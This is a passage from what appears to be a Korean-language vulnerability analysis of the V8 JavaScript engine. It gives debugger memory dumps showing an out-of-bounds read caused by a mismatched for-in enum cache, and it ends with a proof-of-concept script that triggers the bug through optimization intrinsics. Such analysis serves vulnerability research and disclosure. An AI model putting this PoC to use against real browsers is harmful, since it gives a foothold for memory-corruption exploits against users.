   - indices: 0x0e24000dbdb9 <FixedArray[1]>
 - nof slack descriptors: 0
 - nof descriptors: 3
 - raw gc state: mc epoch 0, marked 0, delta 0
  [0]: 0xe2400002a49: [String] in ReadOnlySpace: #a (const data field 0:s, p: 0, attrs: [WEC]) @ Any
  [1]: 0xe2400002a59: [String] in ReadOnlySpace: #b (const data field 1:s, p: 2, attrs: [WEC]) @ Any
  [2]: 0xe2400002a69: [String] in ReadOnlySpace: #c (data field 2:d, p: 1, attrs: [WEC]) @ Any

>> [r14+r9*1+0xb]
0xe24000dbdc5: [EnumCache] in OldSpace
 - map: 0x0e24000001f1 <Map[12](ENUM_CACHE_TYPE)>
 - keys: 0x0e24000dbdad <FixedArray[1]>
 - indices: 0x0e24000dbdb9 <FixedArray[1]>

# movl r9,[r14+r9*1+0x7] : get indices
>> [r14+r9*1+0x7]
0xe24000dbdb9: [FixedArray] in OldSpace
 - map: 0x0e2400000089 <Map(FIXED_ARRAY_TYPE)>
 - length: 1
           0: 0
>>  x/20wx 0xe24000dbdb9 - 1 
0xe24000dbdb8:  0x00000089      0x00000002      0x00000000      0x000001f1
0xe24000dbdc8:  0x000dbdad      0x000dbdb9      0xbeadbeef      0xbeadbeef
0xe24000dbdd8:  0xbeadbeef      0xbeadbeef      0xbeadbeef      0xbeadbeef
0xe24000dbde8:  0xbeadbeef      0xbeadbeef      0xbeadbeef      0xbeadbeef
0xe24000dbdf8:  0xbeadbeef      0xbeadbeef      0xbeadbeef      0xbeadbeef

# r11 : index
# movl r9,[r9+r11*4+0x7] : get index number
>> r9
0xe24000dbdc4:  0x000001f1

원래 정상적인 indeices[2]인 구조에서 가져왔다면 2라는 값이 들어있었겠지만 길이가 1인 구조이므로 enum_cache의 map을 가져오게 되므로 oob가 발생합니다.

# movl r9,[r8+r12*2+0xb] : get value 
# r12 : 0x1f1 -> smi -> 0xf8
>>  x/20wx $r8+$r12*2+0xb
0xe24001ccaac:  0xbeadbeef      0xbeadbeef      0xbeadbeef      0xbeadbeef
0xe24001ccabc:  0xbeadbeef      0xbeadbeef      0xbeadbeef      0xbeadbeef
0xe24001ccacc:  0xbeadbeef      0xbeadbeef      0xbeadbeef      0xbeadbeef
0xe24001ccadc:  0xbeadbeef      0xbeadbeef      0xbeadbeef      0xbeadbeef
0xe24001ccaec:  0xbeadbeef      0xbeadbeef      0xbeadbeef      0xbeadbeef

PoC

/* poc.js */

const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 2;
object2.b = 3;
const object3 = {};
object3.a = 4;
object3.b = 5;
object3.c = 6;

for (let key in object2) { } 

function trigger(callback) {
    for (let key in object2) {
        callback();
        console.log(object2[key]);
    }
}
% PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
% OptimizeFunctionOnNextCall(trigger);
trigger(_ => {
    object3.c = 1.1;  
    for (let key in object1) { }
});